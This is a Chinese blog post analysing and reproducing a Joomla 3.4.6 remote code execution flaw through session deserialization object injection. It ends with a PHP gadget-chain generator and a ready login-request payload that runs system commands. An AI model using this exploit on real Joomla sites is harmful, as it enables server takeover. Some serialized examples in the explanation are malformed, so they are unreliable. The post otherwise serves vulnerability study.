joomla3.4.6 rce 分析与复现

joomla3.4.6rce 分析复现

环境搭建

Joomla环境搭建下载:https://github.com/joomla/joomla-cms/releases/tag/3.4.6

php5.5.9

漏洞分析

loadSession方法分析

public function loadSession(JSession $session = null)
    {
        if ($session !== null)
        {
            $this->session = $session;

            return $this;
        } //判断seesion的值是否为空

        // Generate a session name.
        $name = JApplicationHelper::getHash($this->get('session_name', get_class($this)));  //调用JApplicationHelper类里面的gethash方法 创建一个新的seesion

        // Calculate the session lifetime.
        $lifetime = (($this->get('lifetime')) ? $this->get('lifetime') * 60 : 900); //计算这个session的存活时间

        // Initialize the options for JSession.
        $options = array(
            'name'   => $name,
            'expire' => $lifetime
        );

        switch ($this->getClientId())
        {
            case 0:
                if ($this->get('force_ssl') == 2)
                {
                    $options['force_ssl'] = true;
                }

                break;

            case 1:
                if ($this->get('force_ssl') >= 1)
                {
                    $options['force_ssl'] = true;
                }

                break;
        }

        $this->registerEvent('onAfterSessionStart', array($this, 'afterSessionStart'));

        // There's an internal coupling to the session object being present in JFactory, need to deal with this at some point
        $session = JFactory::getSession($options);
        $session->initialise($this->input, $this->dispatcher);
        $session->start();

        // TODO: At some point we need to get away from having session data always in the db.
        $db = JFactory::getDbo();

        // Remove expired sessions from the database.
        $time = time();

        if ($time % 2)
        {
            // The modulus introduces a little entropy, making the flushing less accurate
            // but fires the query less than half the time.
            $query = $db->getQuery(true)
                ->delete($db->quoteName('#__session'))
                ->where($db->quoteName('time') . ' < ' . $db->quote((int) ($time - $session->getExpire())));

            $db->setQuery($query);
            $db->execute();
        }

        // Get the session handler from the configuration.
        $handler = $this->get('session_handler', 'none');

        if (($handler != 'database' && ($time % 2 || $session->isNew()))
            || ($handler == 'database' && $session->isNew()))
        {
            $this->checkSession();
        }

        // Set the session object.
        $this->session = $session;

        return $this;
    }

我们在来看看这个 librariesjoomladatabasedrivermysqli.php

    public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }

            mysqli_close($this->connection);
        }

        $this->connection = null;
    }

里面有call_user_func_array 这个函数的用法 作为回调函数

1)普通使用:

           function a($b, $c) {  

                echo $b; 

                echo $c; 

           } 

          call_user_func_array('a', array("111", "222")); 

          //输出 111 222

这里由于seesion反序列化后 将会成为一个JDatabaseDriverMysqli类对象,不管中间如何执行,最后都将会调用__destruct魔法函数,__destruct将会调用disconnect,disconnect里有一处敏感函数:call_user_func_array。但很遗憾的是,这里的call_user_func_array的第二个参数是我们无法控制的,但是,我们可以进行回调利用:

所以 我们这里主要利用到这个函数的第二个用法 调用类里面的方法

2)调用类内部的方法:

         Class ClassA { 

                 function bc($b, $c) { 

                  $bc = $b + $c; 

                  echo $bc; 

                 } 

            } 

          call_user_func_array(array('ClassA','bc'), array("111", "222")); 

然后刚好 我们这里仔细观察init方法 到这里我们的思路就要清晰一些了 回调simple类里面的init方法 给cache_name_function定义一个值 从而造成远程代码执行

 只要满足条件$this->cache=true && $parsed_feed_url['scheme'] !== Null,将其中第二个call_user_func的第一个参数cache_name_function赋值为assert,第二个参数赋值为我们需要执行的代码,这样就可以构成一个可利用的“回调后门“,达到任意代码执行效果。

那么我们在回过头来看 seseeion在数据库中提取出来加载到javamysql类的过程 从来调用函数执行恶意代码

loadSession 方法中会去实例化 JSessionStorageDatabase 类(下图第737行),而该类继承自 JSessionStorage 类,在实例化时会调用父类的 __construct 方法。在父类 __construct 方法中,我们看到使用了 session_set_save_handler 函数来处理 session ,函数中的 $this 指的就是 JSessionStorageDatabase 类对像。接着,程序开启了 session_start 函数。

然后我们继续观察 这里 程序的逻辑 当用户登陆失败时候 joomla会见登陆失败的用户数据存在seesion中 然后302到登陆页面

在执行重定向代码时,程序会直接 exit() ,然后就会开始调用前面说到的 JSessionStorageDatabase 类的 write 方法,将用户 session 写入数据库。当我们再次发送请求时,程序会将上次存储在数据库的 session 取出来,这里在反序列化 session 的时候就会有问题。具体 write、read 的代码如下。

接下来的操作就是简单的字符逃逸了 明天再来看看字符串逃逸

我们从read write函数中可以看见我们可以明显看到在 read 函数处理后,原先54个字符长度的 '' 被替换成27个字符长度的 chr(0).'*'.chr(0) ,但是字符长度标识还是 s:54 。所以在进行反序列化的时候,还会继续向后读取27个字符长度,这样序列化的结果就完全不一样,

虽然处理后的username字段减少一半 但是继续向后读取到54个字符串为止,然而后面的就是password字段,所以passsword字段这样就被逃逸出来了,我们可以在这里进行对象注入

    思路
        使用 000 溢出,来逃逸密码 value
        重新构建有效的对象
        发送 exp
        触发 exp

    在数据库中

s:8:s:"username";s:54:"";s:8:"password";s:6:"666666" //这里还是54个字符

    在读取置换之后

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"123456" //但是这里经read函数处理后就变成了27个字符

    实现对象注入

s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:n:"1234";s:2:"HS":O:15:"ObjectInjection"//
NNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:6:"1234"

从N开始往后读取到54个字符串为止,这样我们就完成了username的构造,然后在构造我们需要的对象进行注入。

exp

<?php

class JSimplepieFactory {}

class JDatabaseDriverMysql {}

class SimplePie
{
    var $feed_url;
    var $cache;
    var $sanitize;
    var $cache_name_function;

    public function __construct($feed_url, $cache, $sanitize, $cache_name_function)
    {
        $this->feed_url = $feed_url;
        $this->cache = $cache;
        $this->sanitize = $sanitize;
        $this->cache_name_function = $cache_name_function;
    }
}

class JDatabaseDriverMysqli
{
    protected $obj;
    protected $connection;
    protected $disconnectHandlers = array();

    public function __construct($obj, $connection, $disconnectHandlers)
    {
        $this->obj = $obj;
        $this->connection = $connection;
        $this->disconnectHandlers = $disconnectHandlers;
    }
}

$function = 'system';
$argument = 'http://www.baidu.com;id';
$simplepie = new SimplePie($argument, true, new JDatabaseDriverMysql(), $function);
$jdatabasedrivermysqli = new JDatabaseDriverMysqli(new JSimplepieFactory(), true, array(array($simplepie,'init')));
echo serialize($jdatabasedrivermysqli);

?>

payload

CSRF-Token值=1&task=user.login&option=com_users&username=000000000000000000000000000&password=234";
s:3:"233":exp的payload

最后导致rce

exp

CSRF-Token值=1&task=user.login&option=com_users&username=000000000000000000000000000&password=234";

s:3:"233":O:21:"JDatabaseDriverMysqli":3:{s:6:"*obj";O:17:"JSimplepieFactory":0:{}s:13:"*connection";b:1;s:21:"*disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"feed_url";s:23:"http://www.baidu.com;id";s:5:"cache";b:1;s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"system";}i:1;s:4:"init";}}}
原文地址:https://www.cnblogs.com/-zhong/p/12260043.html